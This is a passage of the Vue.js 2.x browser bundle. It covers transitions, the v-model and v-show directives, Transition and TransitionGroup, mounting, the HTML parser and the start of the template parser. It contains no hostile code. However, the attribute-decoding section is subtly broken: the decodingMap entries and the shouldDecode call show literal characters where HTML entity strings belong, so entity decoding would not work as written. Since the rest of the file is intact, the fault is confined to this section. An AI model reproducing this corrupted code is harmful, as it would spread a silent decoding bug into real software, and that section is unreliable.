var duration = data.duration;
var expectsCSS = css !== false && !isIE9;
var userWantsControl = getHookArgumentsLength(leave);
var explicitLeaveDuration = toNumber(
isObject(duration)
? duration.leave
: duration
);
if (process.env.NODE_ENV !== 'production' && isDef(explicitLeaveDuration)) {
checkDuration(explicitLeaveDuration, 'leave', vnode);
}
var cb = el._leaveCb = once(function () {
if (el.parentNode && el.parentNode._pending) {
el.parentNode._pending[vnode.key] = null;
}
if (expectsCSS) {
removeTransitionClass(el, leaveToClass);
removeTransitionClass(el, leaveActiveClass);
}
if (cb.cancelled) {
if (expectsCSS) {
removeTransitionClass(el, leaveClass);
}
leaveCancelled && leaveCancelled(el);
} else {
rm();
afterLeave && afterLeave(el);
}
el._leaveCb = null;
});
if (delayLeave) {
delayLeave(performLeave);
} else {
performLeave();
}
function performLeave () {
// the delayed leave may have already been cancelled
if (cb.cancelled) {
return
}
// record leaving element
if (!vnode.data.show) {
(el.parentNode._pending || (el.parentNode._pending = {}))[(vnode.key)] = vnode;
}
beforeLeave && beforeLeave(el);
if (expectsCSS) {
addTransitionClass(el, leaveClass);
addTransitionClass(el, leaveActiveClass);
nextFrame(function () {
addTransitionClass(el, leaveToClass);
removeTransitionClass(el, leaveClass);
if (!cb.cancelled && !userWantsControl) {
if (isValidDuration(explicitLeaveDuration)) {
setTimeout(cb, explicitLeaveDuration);
} else {
whenTransitionEnds(el, type, cb);
}
}
});
}
leave && leave(el, cb);
if (!expectsCSS && !userWantsControl) {
cb();
}
}
}
// only used in dev mode
function checkDuration (val, name, vnode) {
if (typeof val !== 'number') {
warn(
"<transition> explicit " + name + " duration is not a valid number - " +
"got " + (JSON.stringify(val)) + ".",
vnode.context
);
} else if (isNaN(val)) {
warn(
"<transition> explicit " + name + " duration is NaN - " +
'the duration expression might be incorrect.',
vnode.context
);
}
}
function isValidDuration (val) {
return typeof val === 'number' && !isNaN(val)
}
/**
* Normalize a transition hook's argument length. The hook may be:
* - a merged hook (invoker) with the original in .fns
* - a wrapped component method (check ._length)
* - a plain function (.length)
*/
function getHookArgumentsLength (fn) {
if (isUndef(fn)) {
return false
}
var invokerFns = fn.fns;
if (isDef(invokerFns)) {
// invoker
return getHookArgumentsLength(
Array.isArray(invokerFns)
? invokerFns[0]
: invokerFns
)
} else {
return (fn._length || fn.length) > 1
}
}
function _enter (_, vnode) {
if (vnode.data.show !== true) {
enter(vnode);
}
}
var transition = inBrowser ? {
create: _enter,
activate: _enter,
remove: function remove$$1 (vnode, rm) {
/* istanbul ignore else */
if (vnode.data.show !== true) {
leave(vnode, rm);
} else {
rm();
}
}
} : {};
var platformModules = [
attrs,
klass,
events,
domProps,
style,
transition
];
/* */
// the directive module should be applied last, after all
// built-in modules have been applied.
var modules = platformModules.concat(baseModules);
var patch = createPatchFunction({ nodeOps: nodeOps, modules: modules });
/**
* Not type checking this file because flow doesn't like attaching
* properties to Elements.
*/
/* istanbul ignore if */
if (isIE9) {
// http://www.matts411.com/post/internet-explorer-9-oninput/
document.addEventListener('selectionchange', function () {
var el = document.activeElement;
if (el && el.vmodel) {
trigger(el, 'input');
}
});
}
var model$1 = {
inserted: function inserted (el, binding, vnode) {
if (vnode.tag === 'select') {
var cb = function () {
setSelected(el, binding, vnode.context);
};
cb();
/* istanbul ignore if */
if (isIE || isEdge) {
setTimeout(cb, 0);
}
} else if (vnode.tag === 'textarea' || el.type === 'text' || el.type === 'password') {
el._vModifiers = binding.modifiers;
if (!binding.modifiers.lazy) {
// Safari < 10.2 & UIWebView doesn't fire compositionend when
// switching focus before confirming composition choice
// this also fixes the issue where some browsers e.g. iOS Chrome
// fires "change" instead of "input" on autocomplete.
el.addEventListener('change', onCompositionEnd);
if (!isAndroid) {
el.addEventListener('compositionstart', onCompositionStart);
el.addEventListener('compositionend', onCompositionEnd);
}
/* istanbul ignore if */
if (isIE9) {
el.vmodel = true;
}
}
}
},
componentUpdated: function componentUpdated (el, binding, vnode) {
if (vnode.tag === 'select') {
setSelected(el, binding, vnode.context);
// in case the options rendered by v-for have changed,
// it's possible that the value is out-of-sync with the rendered options.
// detect such cases and filter out values that no longer has a matching
// option in the DOM.
var needReset = el.multiple
? binding.value.some(function (v) { return hasNoMatchingOption(v, el.options); })
: binding.value !== binding.oldValue && hasNoMatchingOption(binding.value, el.options);
if (needReset) {
trigger(el, 'change');
}
}
}
};
function setSelected (el, binding, vm) {
var value = binding.value;
var isMultiple = el.multiple;
if (isMultiple && !Array.isArray(value)) {
process.env.NODE_ENV !== 'production' && warn(
"<select multiple v-model=\"" + (binding.expression) + "\"> " +
"expects an Array value for its binding, but got " + (Object.prototype.toString.call(value).slice(8, -1)),
vm
);
return
}
var selected, option;
for (var i = 0, l = el.options.length; i < l; i++) {
option = el.options[i];
if (isMultiple) {
selected = looseIndexOf(value, getValue(option)) > -1;
if (option.selected !== selected) {
option.selected = selected;
}
} else {
if (looseEqual(getValue(option), value)) {
if (el.selectedIndex !== i) {
el.selectedIndex = i;
}
return
}
}
}
if (!isMultiple) {
el.selectedIndex = -1;
}
}
function hasNoMatchingOption (value, options) {
for (var i = 0, l = options.length; i < l; i++) {
if (looseEqual(getValue(options[i]), value)) {
return false
}
}
return true
}
function getValue (option) {
return '_value' in option
? option._value
: option.value
}
function onCompositionStart (e) {
e.target.composing = true;
}
function onCompositionEnd (e) {
// prevent triggering an input event for no reason
if (!e.target.composing) { return }
e.target.composing = false;
trigger(e.target, 'input');
}
function trigger (el, type) {
var e = document.createEvent('HTMLEvents');
e.initEvent(type, true, true);
el.dispatchEvent(e);
}
/* */
// recursively search for possible transition defined inside the component root
function locateNode (vnode) {
return vnode.componentInstance && (!vnode.data || !vnode.data.transition)
? locateNode(vnode.componentInstance._vnode)
: vnode
}
var show = {
bind: function bind (el, ref, vnode) {
var value = ref.value;
vnode = locateNode(vnode);
var transition = vnode.data && vnode.data.transition;
var originalDisplay = el.__vOriginalDisplay =
el.style.display === 'none' ? '' : el.style.display;
if (value && transition && !isIE9) {
vnode.data.show = true;
enter(vnode, function () {
el.style.display = originalDisplay;
});
} else {
el.style.display = value ? originalDisplay : 'none';
}
},
update: function update (el, ref, vnode) {
var value = ref.value;
var oldValue = ref.oldValue;
/* istanbul ignore if */
if (value === oldValue) { return }
vnode = locateNode(vnode);
var transition = vnode.data && vnode.data.transition;
if (transition && !isIE9) {
vnode.data.show = true;
if (value) {
enter(vnode, function () {
el.style.display = el.__vOriginalDisplay;
});
} else {
leave(vnode, function () {
el.style.display = 'none';
});
}
} else {
el.style.display = value ? el.__vOriginalDisplay : 'none';
}
},
unbind: function unbind (
el,
binding,
vnode,
oldVnode,
isDestroy
) {
if (!isDestroy) {
el.style.display = el.__vOriginalDisplay;
}
}
};
var platformDirectives = {
model: model$1,
show: show
};
/* */
// Provides transition support for a single element/component.
// supports transition mode (out-in / in-out)
var transitionProps = {
name: String,
appear: Boolean,
css: Boolean,
mode: String,
type: String,
enterClass: String,
leaveClass: String,
enterToClass: String,
leaveToClass: String,
enterActiveClass: String,
leaveActiveClass: String,
appearClass: String,
appearActiveClass: String,
appearToClass: String,
duration: [Number, String, Object]
};
// in case the child is also an abstract component, e.g. <keep-alive>
// we want to recursively retrieve the real component to be rendered
function getRealChild (vnode) {
var compOptions = vnode && vnode.componentOptions;
if (compOptions && compOptions.Ctor.options.abstract) {
return getRealChild(getFirstComponentChild(compOptions.children))
} else {
return vnode
}
}
function extractTransitionData (comp) {
var data = {};
var options = comp.$options;
// props
for (var key in options.propsData) {
data[key] = comp[key];
}
// events.
// extract listeners and pass them directly to the transition methods
var listeners = options._parentListeners;
for (var key$1 in listeners) {
data[camelize(key$1)] = listeners[key$1];
}
return data
}
function placeholder (h, rawChild) {
if (/\d-keep-alive$/.test(rawChild.tag)) {
return h('keep-alive', {
props: rawChild.componentOptions.propsData
})
}
}
function hasParentTransition (vnode) {
while ((vnode = vnode.parent)) {
if (vnode.data.transition) {
return true
}
}
}
function isSameChild (child, oldChild) {
return oldChild.key === child.key && oldChild.tag === child.tag
}
var Transition = {
name: 'transition',
props: transitionProps,
abstract: true,
render: function render (h) {
var this$1 = this;
var children = this.$slots.default;
if (!children) {
return
}
// filter out text nodes (possible whitespaces)
children = children.filter(function (c) { return c.tag; });
/* istanbul ignore if */
if (!children.length) {
return
}
// warn multiple elements
if (process.env.NODE_ENV !== 'production' && children.length > 1) {
warn(
'<transition> can only be used on a single element. Use ' +
'<transition-group> for lists.',
this.$parent
);
}
var mode = this.mode;
// warn invalid mode
if (process.env.NODE_ENV !== 'production' &&
mode && mode !== 'in-out' && mode !== 'out-in'
) {
warn(
'invalid <transition> mode: ' + mode,
this.$parent
);
}
var rawChild = children[0];
// if this is a component root node and the component's
// parent container node also has transition, skip.
if (hasParentTransition(this.$vnode)) {
return rawChild
}
// apply transition data to child
// use getRealChild() to ignore abstract components e.g. keep-alive
var child = getRealChild(rawChild);
/* istanbul ignore if */
if (!child) {
return rawChild
}
if (this._leaving) {
return placeholder(h, rawChild)
}
// ensure a key that is unique to the vnode type and to this transition
// component instance. This key will be used to remove pending leaving nodes
// during entering.
var id = "__transition-" + (this._uid) + "-";
child.key = child.key == null
? id + child.tag
: isPrimitive(child.key)
? (String(child.key).indexOf(id) === 0 ? child.key : id + child.key)
: child.key;
var data = (child.data || (child.data = {})).transition = extractTransitionData(this);
var oldRawChild = this._vnode;
var oldChild = getRealChild(oldRawChild);
// mark v-show
// so that the transition module can hand over the control to the directive
if (child.data.directives && child.data.directives.some(function (d) { return d.name === 'show'; })) {
child.data.show = true;
}
if (oldChild && oldChild.data && !isSameChild(child, oldChild)) {
// replace old child transition data with fresh one
// important for dynamic transitions!
var oldData = oldChild && (oldChild.data.transition = extend({}, data));
// handle transition mode
if (mode === 'out-in') {
// return placeholder node and queue update when leave finishes
this._leaving = true;
mergeVNodeHook(oldData, 'afterLeave', function () {
this$1._leaving = false;
this$1.$forceUpdate();
});
return placeholder(h, rawChild)
} else if (mode === 'in-out') {
var delayedLeave;
var performLeave = function () { delayedLeave(); };
mergeVNodeHook(data, 'afterEnter', performLeave);
mergeVNodeHook(data, 'enterCancelled', performLeave);
mergeVNodeHook(oldData, 'delayLeave', function (leave) { delayedLeave = leave; });
}
}
return rawChild
}
};
/* */
// Provides transition support for list items.
// supports move transitions using the FLIP technique.
// Because the vdom's children update algorithm is "unstable" - i.e.
// it doesn't guarantee the relative positioning of removed elements,
// we force transition-group to update its children into two passes:
// in the first pass, we remove all nodes that need to be removed,
// triggering their leaving transition; in the second pass, we insert/move
// into the final desired state. This way in the second pass removed
// nodes will remain where they should be.
var props = extend({
tag: String,
moveClass: String
}, transitionProps);
delete props.mode;
var TransitionGroup = {
props: props,
render: function render (h) {
var tag = this.tag || this.$vnode.data.tag || 'span';
var map = Object.create(null);
var prevChildren = this.prevChildren = this.children;
var rawChildren = this.$slots.default || [];
var children = this.children = [];
var transitionData = extractTransitionData(this);
for (var i = 0; i < rawChildren.length; i++) {
var c = rawChildren[i];
if (c.tag) {
if (c.key != null && String(c.key).indexOf('__vlist') !== 0) {
children.push(c);
map[c.key] = c
;(c.data || (c.data = {})).transition = transitionData;
} else if (process.env.NODE_ENV !== 'production') {
var opts = c.componentOptions;
var name = opts ? (opts.Ctor.options.name || opts.tag || '') : c.tag;
warn(("<transition-group> children must be keyed: <" + name + ">"));
}
}
}
if (prevChildren) {
var kept = [];
var removed = [];
for (var i$1 = 0; i$1 < prevChildren.length; i$1++) {
var c$1 = prevChildren[i$1];
c$1.data.transition = transitionData;
c$1.data.pos = c$1.elm.getBoundingClientRect();
if (map[c$1.key]) {
kept.push(c$1);
} else {
removed.push(c$1);
}
}
this.kept = h(tag, null, kept);
this.removed = removed;
}
return h(tag, null, children)
},
beforeUpdate: function beforeUpdate () {
// force removing pass
this.__patch__(
this._vnode,
this.kept,
false, // hydrating
true // removeOnly (!important, avoids unnecessary moves)
);
this._vnode = this.kept;
},
updated: function updated () {
var children = this.prevChildren;
var moveClass = this.moveClass || ((this.name || 'v') + '-move');
if (!children.length || !this.hasMove(children[0].elm, moveClass)) {
return
}
// we divide the work into three loops to avoid mixing DOM reads and writes
// in each iteration - which helps prevent layout thrashing.
children.forEach(callPendingCbs);
children.forEach(recordPosition);
children.forEach(applyTranslation);
// force reflow to put everything in position
var body = document.body;
var f = body.offsetHeight; // eslint-disable-line
children.forEach(function (c) {
if (c.data.moved) {
var el = c.elm;
var s = el.style;
addTransitionClass(el, moveClass);
s.transform = s.WebkitTransform = s.transitionDuration = '';
el.addEventListener(transitionEndEvent, el._moveCb = function cb (e) {
if (!e || /transform$/.test(e.propertyName)) {
el.removeEventListener(transitionEndEvent, cb);
el._moveCb = null;
removeTransitionClass(el, moveClass);
}
});
}
});
},
methods: {
hasMove: function hasMove (el, moveClass) {
/* istanbul ignore if */
if (!hasTransition) {
return false
}
if (this._hasMove != null) {
return this._hasMove
}
// Detect whether an element with the move class applied has
// CSS transitions. Since the element may be inside an entering
// transition at this very moment, we make a clone of it and remove
// all other transition classes applied to ensure only the move class
// is applied.
var clone = el.cloneNode();
if (el._transitionClasses) {
el._transitionClasses.forEach(function (cls) { removeClass(clone, cls); });
}
addClass(clone, moveClass);
clone.style.display = 'none';
this.$el.appendChild(clone);
var info = getTransitionInfo(clone);
this.$el.removeChild(clone);
return (this._hasMove = info.hasTransform)
}
}
};
function callPendingCbs (c) {
/* istanbul ignore if */
if (c.elm._moveCb) {
c.elm._moveCb();
}
/* istanbul ignore if */
if (c.elm._enterCb) {
c.elm._enterCb();
}
}
function recordPosition (c) {
c.data.newPos = c.elm.getBoundingClientRect();
}
function applyTranslation (c) {
var oldPos = c.data.pos;
var newPos = c.data.newPos;
var dx = oldPos.left - newPos.left;
var dy = oldPos.top - newPos.top;
if (dx || dy) {
c.data.moved = true;
var s = c.elm.style;
s.transform = s.WebkitTransform = "translate(" + dx + "px," + dy + "px)";
s.transitionDuration = '0s';
}
}
var platformComponents = {
Transition: Transition,
TransitionGroup: TransitionGroup
};
/* */
// install platform specific utils
Vue$3.config.mustUseProp = mustUseProp;
Vue$3.config.isReservedTag = isReservedTag;
Vue$3.config.isReservedAttr = isReservedAttr;
Vue$3.config.getTagNamespace = getTagNamespace;
Vue$3.config.isUnknownElement = isUnknownElement;
// install platform runtime directives & components
extend(Vue$3.options.directives, platformDirectives);
extend(Vue$3.options.components, platformComponents);
// install platform patch function
Vue$3.prototype.__patch__ = inBrowser ? patch : noop;
// public mount method
Vue$3.prototype.$mount = function (
el,
hydrating
) {
el = el && inBrowser ? query(el) : undefined;
return mountComponent(this, el, hydrating)
};
// devtools global hook
/* istanbul ignore next */
setTimeout(function () {
if (config.devtools) {
if (devtools) {
devtools.emit('init', Vue$3);
} else if (process.env.NODE_ENV !== 'production' && isChrome) {
console[console.info ? 'info' : 'log'](
'Download the Vue Devtools extension for a better development experience:\n' +
'https://github.com/vuejs/vue-devtools'
);
}
}
if (process.env.NODE_ENV !== 'production' &&
config.productionTip !== false &&
inBrowser && typeof console !== 'undefined'
) {
console[console.info ? 'info' : 'log'](
"You are running Vue in development mode.\n" +
"Make sure to turn on production mode when deploying for production.\n" +
"See more tips at https://vuejs.org/guide/deployment.html"
);
}
}, 0);
/* */
// check whether current browser encodes a char inside attribute values
function shouldDecode (content, encoded) {
var div = document.createElement('div');
div.innerHTML = "<div a=\"" + content + "\">";
return div.innerHTML.indexOf(encoded) > 0
}
// #3663
// IE encodes newlines inside attribute values while other browsers don't
var shouldDecodeNewlines = inBrowser ? shouldDecode('\n', ' ') : false;
/* */
var isUnaryTag = makeMap(
'area,base,br,col,embed,frame,hr,img,input,isindex,keygen,' +
'link,meta,param,source,track,wbr'
);
// Elements that you can, intentionally, leave open
// (and which close themselves)
var canBeLeftOpenTag = makeMap(
'colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source'
);
// HTML5 tags https://html.spec.whatwg.org/multipage/indices.html#elements-3
// Phrasing Content https://html.spec.whatwg.org/multipage/dom.html#phrasing-content
var isNonPhrasingTag = makeMap(
'address,article,aside,base,blockquote,body,caption,col,colgroup,dd,' +
'details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,' +
'h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,' +
'optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,' +
'title,tr,track'
);
/* */
var decoder;
function decode (html) {
decoder = decoder || document.createElement('div');
decoder.innerHTML = html;
return decoder.textContent
}
/**
* Not type-checking this file because it's mostly vendor code.
*/
/*!
* HTML Parser By John Resig (ejohn.org)
* Modified by Juriy "kangax" Zaytsev
* Original code by Erik Arvidsson, Mozilla Public License
* http://erik.eae.net/simplehtmlparser/simplehtmlparser.js
*/
// Regular Expressions for parsing tags and attributes
var singleAttrIdentifier = /([^\s"'<>/=]+)/;
var singleAttrAssign = /(?:=)/;
var singleAttrValues = [
// attr value double quotes
/"([^"]*)"+/.source,
// attr value, single quotes
/'([^']*)'+/.source,
// attr value, no quotes
/([^\s"'=<>`]+)/.source
];
var attribute = new RegExp(
'^\\s*' + singleAttrIdentifier.source +
'(?:\\s*(' + singleAttrAssign.source + ')' +
'\\s*(?:' + singleAttrValues.join('|') + '))?'
);
// could use https://www.w3.org/TR/1999/REC-xml-names-19990114/#NT-QName
// but for Vue templates we can enforce a simple charset
var ncname = '[a-zA-Z_][\\w\\-\\.]*';
var qnameCapture = '((?:' + ncname + '\\:)?' + ncname + ')';
var startTagOpen = new RegExp('^<' + qnameCapture);
var startTagClose = /^\s*(\/?)>/;
var endTag = new RegExp('^<\\/' + qnameCapture + '[^>]*>');
var doctype = /^<!DOCTYPE [^>]+>/i;
var comment = /^<!--/;
var conditionalComment = /^<!\[/;
var IS_REGEX_CAPTURING_BROKEN = false;
'x'.replace(/x(.)?/g, function (m, g) {
IS_REGEX_CAPTURING_BROKEN = g === '';
});
// Special Elements (can contain anything)
var isPlainTextElement = makeMap('script,style,textarea', true);
var reCache = {};
var decodingMap = {
'<': '<',
'>': '>',
'"': '"',
'&': '&',
' ': '\n'
};
var encodedAttr = /&(?:lt|gt|quot|amp);/g;
var encodedAttrWithNewLines = /&(?:lt|gt|quot|amp|#10);/g;
function decodeAttr (value, shouldDecodeNewlines) {
var re = shouldDecodeNewlines ? encodedAttrWithNewLines : encodedAttr;
return value.replace(re, function (match) { return decodingMap[match]; })
}
function parseHTML (html, options) {
var stack = [];
var expectHTML = options.expectHTML;
var isUnaryTag$$1 = options.isUnaryTag || no;
var canBeLeftOpenTag$$1 = options.canBeLeftOpenTag || no;
var index = 0;
var last, lastTag;
while (html) {
last = html;
// Make sure we're not in a plaintext content element like script/style
if (!lastTag || !isPlainTextElement(lastTag)) {
var textEnd = html.indexOf('<');
if (textEnd === 0) {
// Comment:
if (comment.test(html)) {
var commentEnd = html.indexOf('-->');
if (commentEnd >= 0) {
advance(commentEnd + 3);
continue
}
}
// http://en.wikipedia.org/wiki/Conditional_comment#Downlevel-revealed_conditional_comment
if (conditionalComment.test(html)) {
var conditionalEnd = html.indexOf(']>');
if (conditionalEnd >= 0) {
advance(conditionalEnd + 2);
continue
}
}
// Doctype:
var doctypeMatch = html.match(doctype);
if (doctypeMatch) {
advance(doctypeMatch[0].length);
continue
}
// End tag:
var endTagMatch = html.match(endTag);
if (endTagMatch) {
var curIndex = index;
advance(endTagMatch[0].length);
parseEndTag(endTagMatch[1], curIndex, index);
continue
}
// Start tag:
var startTagMatch = parseStartTag();
if (startTagMatch) {
handleStartTag(startTagMatch);
continue
}
}
var text = (void 0), rest$1 = (void 0), next = (void 0);
if (textEnd >= 0) {
rest$1 = html.slice(textEnd);
while (
!endTag.test(rest$1) &&
!startTagOpen.test(rest$1) &&
!comment.test(rest$1) &&
!conditionalComment.test(rest$1)
) {
// < in plain text, be forgiving and treat it as text
next = rest$1.indexOf('<', 1);
if (next < 0) { break }
textEnd += next;
rest$1 = html.slice(textEnd);
}
text = html.substring(0, textEnd);
advance(textEnd);
}
if (textEnd < 0) {
text = html;
html = '';
}
if (options.chars && text) {
options.chars(text);
}
} else {
var stackedTag = lastTag.toLowerCase();
var reStackedTag = reCache[stackedTag] || (reCache[stackedTag] = new RegExp('([\\s\\S]*?)(</' + stackedTag + '[^>]*>)', 'i'));
var endTagLength = 0;
var rest = html.replace(reStackedTag, function (all, text, endTag) {
endTagLength = endTag.length;
if (!isPlainTextElement(stackedTag) && stackedTag !== 'noscript') {
text = text
.replace(/<!--([\s\S]*?)-->/g, '$1')
.replace(/<!\[CDATA\[([\s\S]*?)]]>/g, '$1');
}
if (options.chars) {
options.chars(text);
}
return ''
});
index += html.length - rest.length;
html = rest;
parseEndTag(stackedTag, index - endTagLength, index);
}
if (html === last) {
options.chars && options.chars(html);
if (process.env.NODE_ENV !== 'production' && !stack.length && options.warn) {
options.warn(("Mal-formatted tag at end of template: \"" + html + "\""));
}
break
}
}
// Clean up any remaining tags
parseEndTag();
function advance (n) {
index += n;
html = html.substring(n);
}
function parseStartTag () {
var start = html.match(startTagOpen);
if (start) {
var match = {
tagName: start[1],
attrs: [],
start: index
};
advance(start[0].length);
var end, attr;
while (!(end = html.match(startTagClose)) && (attr = html.match(attribute))) {
advance(attr[0].length);
match.attrs.push(attr);
}
if (end) {
match.unarySlash = end[1];
advance(end[0].length);
match.end = index;
return match
}
}
}
function handleStartTag (match) {
var tagName = match.tagName;
var unarySlash = match.unarySlash;
if (expectHTML) {
if (lastTag === 'p' && isNonPhrasingTag(tagName)) {
parseEndTag(lastTag);
}
if (canBeLeftOpenTag$$1(tagName) && lastTag === tagName) {
parseEndTag(tagName);
}
}
var unary = isUnaryTag$$1(tagName) || tagName === 'html' && lastTag === 'head' || !!unarySlash;
var l = match.attrs.length;
var attrs = new Array(l);
for (var i = 0; i < l; i++) {
var args = match.attrs[i];
// hackish work around FF bug https://bugzilla.mozilla.org/show_bug.cgi?id=369778
if (IS_REGEX_CAPTURING_BROKEN && args[0].indexOf('""') === -1) {
if (args[3] === '') { delete args[3]; }
if (args[4] === '') { delete args[4]; }
if (args[5] === '') { delete args[5]; }
}
var value = args[3] || args[4] || args[5] || '';
attrs[i] = {
name: args[1],
value: decodeAttr(
value,
options.shouldDecodeNewlines
)
};
}
if (!unary) {
stack.push({ tag: tagName, lowerCasedTag: tagName.toLowerCase(), attrs: attrs });
lastTag = tagName;
}
if (options.start) {
options.start(tagName, attrs, unary, match.start, match.end);
}
}
function parseEndTag (tagName, start, end) {
var pos, lowerCasedTagName;
if (start == null) { start = index; }
if (end == null) { end = index; }
if (tagName) {
lowerCasedTagName = tagName.toLowerCase();
}
// Find the closest opened tag of the same type
if (tagName) {
for (pos = stack.length - 1; pos >= 0; pos--) {
if (stack[pos].lowerCasedTag === lowerCasedTagName) {
break
}
}
} else {
// If no tag name is provided, clean shop
pos = 0;
}
if (pos >= 0) {
// Close all the open elements, up the stack
for (var i = stack.length - 1; i >= pos; i--) {
if (process.env.NODE_ENV !== 'production' &&
(i > pos || !tagName) &&
options.warn
) {
options.warn(
("tag <" + (stack[i].tag) + "> has no matching end tag.")
);
}
if (options.end) {
options.end(stack[i].tag, start, end);
}
}
// Remove the open elements from the stack
stack.length = pos;
lastTag = pos && stack[pos - 1].tag;
} else if (lowerCasedTagName === 'br') {
if (options.start) {
options.start(tagName, [], true, start, end);
}
} else if (lowerCasedTagName === 'p') {
if (options.start) {
options.start(tagName, [], false, start, end);
}
if (options.end) {
options.end(tagName, start, end);
}
}
}
}
/* */
var defaultTagRE = /\{\{((?:.|\n)+?)\}\}/g;
var regexEscapeRE = /[-.*+?^${}()|[\]\/\\]/g;
var buildRegex = cached(function (delimiters) {
var open = delimiters[0].replace(regexEscapeRE, '\\$&');
var close = delimiters[1].replace(regexEscapeRE, '\\$&');
return new RegExp(open + '((?:.|\\n)+?)' + close, 'g')
});
function parseText (
text,
delimiters
) {
var tagRE = delimiters ? buildRegex(delimiters) : defaultTagRE;
if (!tagRE.test(text)) {
return
}
var tokens = [];
var lastIndex = tagRE.lastIndex = 0;
var match, index;
while ((match = tagRE.exec(text))) {
index = match.index;
// push text token
if (index > lastIndex) {
tokens.push(JSON.stringify(text.slice(lastIndex, index)));
}
// tag token
var exp = parseFilters(match[1].trim());
tokens.push(("_s(" + exp + ")"));
lastIndex = index + match[0].length;
}
if (lastIndex < text.length) {
tokens.push(JSON.stringify(text.slice(lastIndex)));
}
return tokens.join('+')
}
/* */
var onRE = /^@|^v-on:/;
var dirRE = /^v-|^@|^:/;
var forAliasRE = /(.*?)\s+(?:in|of)\s+(.*)/;
var forIteratorRE = /\((\{[^}]*\}|[^,]*),([^,]*)(?:,([^,]*))?\)/;
var argRE = /:(.*)$/;
var bindRE = /^:|^v-bind:/;
var modifierRE = /\.[^.]+/g;
var decodeHTMLCached = cached(decode);
// configurable state
var warn$2;
var delimiters;
var transforms;
var preTransforms;
var postTransforms;
var platformIsPreTag;
var platformMustUseProp;
var platformGetTagNamespace;
/**
* Convert HTML string to AST.
*/
function parse (
template,
options
) {
warn$2 = options.warn || baseWarn;
platformGetTagNamespace = options.getTagNamespace || no;
platformMustUseProp = options.mustUseProp || no;
platformIsPreTag = options.isPreTag || no;
preTransforms = pluckModuleFunction(options.modules, 'preTransformNode');
transforms = pluckModuleFunction(options.modules, 'transformNode');
postTransforms = pluckModuleFunction(options.modules, 'postTransformNode');
delimiters = options.delimiters;
var stack = [];
var preserveWhitespace = options.preserveWhitespace !== false;
var root;
var currentParent;
var inVPre = false;
var inPre = false;
var warned = false;
function warnOnce (msg) {
if (!warned) {
warned = true;
warn$2(msg);
}
}
function endPre (element) {
// check pre state
if (element.pre) {
inVPre = false;
}
if (platformIsPreTag(element.tag)) {
inPre = false;
}
}
parseHTML(template, {
warn: warn$2,
expectHTML: options.expectHTML,
isUnaryTag: options.isUnaryTag,
canBeLeftOpenTag: options.canBeLeftOpenTag,
shouldDecodeNewlines: options.shouldDecodeNewlines,
start: function start (tag, attrs, unary) {
// check namespace.
// inherit parent ns if there is one
var ns = (currentParent && currentParent.ns) || platformGetTagNamespace(tag);
// handle IE svg bug
/* istanbul ignore if */
if (isIE && ns === 'svg') {
attrs = guardIESVGBug(attrs);
}
var element = {
type: 1,
tag: tag,
attrsList: attrs,
attrsMap: makeAttrsMap(attrs),
parent: currentParent,
children: []
};
if (ns) {
element.ns = ns;
}
if (isForbiddenTag(element) && !isServerRendering()) {
element.forbidden = true;
process.env.NODE_ENV !== 'production' && warn$2(
'Templates should only be responsible for mapping the state to the ' +
'UI. Avoid placing tags with side-effects in your templates, such as ' +
"<" + tag + ">" + ', as they will not be parsed.'
);
}
// apply pre-transforms
for (var i = 0; i < preTransforms.length; i++) {
preTransforms[i](element, options);
}
if (!inVPre) {
processPre(element);
if (element.pre) {
inVPre = true;
}
}
if (platformIsPreTag(element.tag)) {
inPre = true;
}
if (inVPre) {
processRawAttrs(element);
} else {
processFor(element);
processIf(element);
processOnce(element);
processKey(element);
// determine whether this is a plain element after
// removing structural attributes
element.plain = !element.key && !attrs.length;
processRef(element);
processSlot(element);
processComponent(element);
for (var i$1 = 0; i$1 < transforms.length; i$1++) {
transforms[i$1](element, options);
}
processAttrs(element);
}
function checkRootConstraints (el) {
if (process.env.NODE_ENV !== 'production') {
if (el.tag === 'slot' || el.tag === 'template') {
warnOnce(
"Cannot use <" + (el.tag) + "> as component root element because it may " +
'contain multiple nodes.'
);
}
if (el.attrsMap.hasOwnProperty('v-for')) {
warnOnce(
'Cannot use v-for on stateful component root element because ' +
'it renders multiple elements.'
);
}
}
}
// tree management
if (!root) {
root = element;
checkRootConstraints(root);
} else if (!stack.length) {
// allow root elements with v-if, v-else-if and v-else
if (root.if && (element.elseif || element.else)) {
checkRootConstraints(element);
addIfCondition(root, {
exp: element.elseif,
block: element
});
} else if (process.env.NODE_ENV !== 'production') {
warnOnce(
"Component template should contain exactly one root element. " +
"If you are using v-if on multiple elements, " +
"use v-else-if to chain them instead."
);
}
}
if (currentParent && !element.forbidden) {
if (element.elseif || element.else) {
processIfConditions(element, currentParent);
} else if (element.slotScope) { // scoped slot
currentParent.plain = false;
var name = element.slotTarget || '"default"';(currentParent.scopedSlots || (currentParent.scopedSlots = {}))[name] = element;
} else {
currentParent.children.push(element);
element.parent = currentParent;
}
}
if (!unary) {
currentParent = element;
stack.push(element);
} else {
endPre(element);
}
// apply post-transforms
for (var i$2 = 0; i$2 < postTransforms.length; i$2++) {
postTransforms[i$2](element, options);
}
},
end: function end () {
// remove trailing whitespace
var element = stack[stack.length - 1];
var lastNode = element.children[element.children.length - 1];
if (lastNode && lastNode.type === 3 && lastNode.text === ' ' && !inPre) {
element.children.pop();
}
// pop stack
stack.length -= 1;
currentParent = stack[stack.length - 1];
endPre(element);
},
chars: function chars (text) {
if (!currentParent) {
if (process.env.NODE_ENV !== 'production') {
if (text === template) {
warnOnce(
'Component template requires a root element, rather than just text.'
);
} else if ((text = text.trim())) {
warnOnce(
("text \"" + text + "\" outside root element will be ignored.")
);
}
}
return
}
// IE textarea placeholder bug
/* istanbul ignore if */
if (isIE &&
currentParent.tag === 'textarea' &&
currentParent.attrsMap.placeholder === text
) {
return
}
var children = currentParent.children;
text = inPre || text.trim()
? isTextTag(currentParent) ? text : decodeHTMLCached(text)
// only preserve whitespace if its not right after a starting tag
: preserveWhitespace && children.length ? ' ' : '';
if (text) {
var expression;
if (!inVPre && text !== ' ' && (expression = parseText(text, delimiters))) {
children.push({
type: 2,
expression: expression,
text: text
});
} else if (text !== ' ' || !children.length || children[children.length - 1].text !== ' ') {
children.push({
type: 3,
text: text
});
}
}
}
});
return root
}
function processPre (el) {
if (getAndRemoveAttr(el, 'v-pre') != null) {
el.pre = true;
}
}
function processRawAttrs (el) {
